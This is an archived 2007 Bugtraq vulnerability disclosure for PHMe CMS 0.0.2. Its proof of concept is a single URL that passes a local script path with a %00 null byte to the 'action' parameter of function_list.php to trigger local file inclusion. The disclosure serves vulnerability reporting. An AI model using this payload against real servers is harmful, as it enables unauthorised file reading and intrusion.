PHMe CMS 0.0.2 local File Include Vulnerabilitiy

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: PHMe CMS 0.0.2 local File Include Vulnerabilitiy
From: h4ck3riran@xxxxxxxxx
Date: 23 Jul 2007 14:04:41 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

# Tilte:  PHMe CMS 0.0.2 local File Include Vulnerabilitiy

# <www.Aria-security.Com For English >
# <www.Aria-Security.net For Persian >
# < Author: You_You >
# < Software: PHMe CMS >
# < Site Script: http://sourceforge.net/projects/phme >

 


 proof Of Concept : 
 
 www.example.com/[path]/resources/function_list.php?action=[Local Script]%00

Follow-Ups:
- Re: PHMe CMS 0.0.2 local File Include Vulnerabilitiy
  - From: BlackHawk

Prev by Date: n.runs-SA-2007.020 - Norman Antivirus ACE parsing Arbitrary Code Execution Advisory
Next by Date: n.runs-SA-2007.021 - Norman Antivirus LZH parsing Arbitrary Code Execution Advisory
Previous by thread: n.runs-SA-2007.020 - Norman Antivirus ACE parsing Arbitrary Code Execution Advisory
Next by thread: Re: PHMe CMS 0.0.2 local File Include Vulnerabilitiy
Index(es):
- Date
- Thread